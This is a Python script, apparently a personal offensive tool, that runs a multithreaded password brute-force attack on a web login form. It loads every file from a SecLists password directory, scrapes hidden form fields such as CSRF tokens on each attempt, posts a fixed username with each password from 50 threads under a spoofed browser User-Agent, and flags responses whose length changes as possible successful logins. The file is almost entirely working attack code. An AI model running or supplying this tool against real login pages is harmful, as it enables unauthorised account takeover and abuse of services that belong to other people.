#! /usr/bin/python

# -----------------------------------------------------------------------------------------------------------------------------
# GENERAL
# -----------------------------------------------------------------------------------------------------------------------------
#
# author: <NAME>
# mail: <EMAIL>
#
# NOTE:
#
# -----------------------------------------------------------------------------------------------------------------------------

import sys
import getopt
import requests
from bs4 import BeautifulSoup
import threading
from queue import Queue
import os

# -----------------------------------------------------------------------------------------------------------------------------
# GLOBAL VARIABLES
# -----------------------------------------------------------------------------------------------------------------------------

output_len      = 0
target          = ""
password_queue  = Queue()
password_lists  = '/home/sevaho/GitHub/SecLists/Passwords/'
username        = "admin"

# -----------------------------------------------------------------------------------------------------------------------------
# CLASSES
# -----------------------------------------------------------------------------------------------------------------------------

# -----------------------------------------------------------------------------------------------------------------------------
# FUNCTIONS
# -----------------------------------------------------------------------------------------------------------------------------


def usage ():

    print("Usage: python %s [OPTIONS]... [ARGS]... \
            \n \
            \n\tdescription\
            \n \
            \nOPTIONS:\
            \n \
            \n\t-h, *               display the help and exit \
            \n\t-t, --target        target \
            \n\t-p, --passwordlists specify a directory containing text files with passwords, default SecLists/Passwords \
            \n\t-u, --username      username \
            \n \
            \nEXAMPLES:\
            \n \
            \n\tpython %s -t https://sevaho.io/login -u <EMAIL> \
            \n \
            \nNOTE:\
            \n \
            " % (sys.argv[0], sys.argv[0]))

    sys.exit(1)


def banner ():

    print("A Banner \
            \n \
            ")


def get_passwords ():
    for r, d, f in os.walk(password_lists):
        for file in f:
            with open(r + '/' + file) as fd:

                try:
                    line = fd.readline()

                    while line:
                        password_queue.put(line.strip())
                        line = fd.readline()

                except Exception as e:
                    pass

            fd.close()


def login_handler ():
    global output_len
    headers = {}
    cookies = {}
    payload = {}
    headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0'

    r = requests.session()

    while not password_queue.empty():
        password = password_queue.get()
        response = r.get(target, headers=headers)

        soup = BeautifulSoup(response.text, "lxml")

        for i in soup.find_all('input', {'type': 'hidden'}):
            payload[i.get('name')] = i.get('value')

        # for i in soup.find_all('input'):
        #     print(i.get('name'))

        if password != "":
            payload['email'] = username
            payload['password'] = password
        
            response = r.post(target, data=payload)

            if output_len != len(response.text):
                print("Difference found in outputs, first time is probably nothing")
                print(payload['email'], payload['password'])

            output_len = len(response.text)
        password_queue.task_done()

# -----------------------------------------------------------------------------------------------------------------------------
# MAIN
# -----------------------------------------------------------------------------------------------------------------------------


def main (argv):

    global target, password_lists, username

    banner()

    if not len(argv):
        usage()

    try:

        opts, args = getopt.getopt(argv, "ht:p:u:", [
            "help",
            "passwordlists",
            "username",
            "target"])

    except getopt.GetoptError as err:

        print("error: %s" % (str(err)))
        usage()

    for opt, arg in opts:

        if opt in ("-h", "--help"):
            usage()
        elif opt in ("-t", "--target"):
            target = arg
        elif opt in ("-p", "--passwordlists"):
            password_lists = arg
        elif opt in ("-u", "--username"):
            username = arg
        else:
            assert False, "Unhandled Option"

    print("Attacking: %s username: %s passwordlist: %s" % (target, username, password_lists))

    for x in range(1):
        t = threading.Thread(target=get_passwords, args=())
        t.start()

    for x in range(50):
        t = threading.Thread(target=login_handler, args=())
        t.start()

    for x in range(50):
        t.join()


if __name__ == "__main__":

    main(sys.argv[1:])
